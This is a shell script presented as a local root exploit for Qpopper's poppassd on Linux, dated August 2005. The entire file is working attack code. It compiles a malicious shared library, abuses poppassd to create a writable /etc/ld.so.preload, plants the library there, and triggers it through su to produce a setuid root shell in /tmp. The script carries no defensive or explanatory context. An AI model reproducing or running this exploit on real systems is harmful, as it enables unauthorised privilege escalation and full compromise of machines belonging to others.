#!/bin/sh
###########################################################################
# Linux Qpopper poppassd latest version local r00t exploit by kcope     ###
# August 2005                ###
# Confidential - Keep Private!            ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd

echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid()) {
  setgid(0);
  setuid(0);
  remove("/etc/ld.so.preload");
  execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
  }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
        setgid(0); setuid(0);
        unlink("/tmp/suid");
        execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi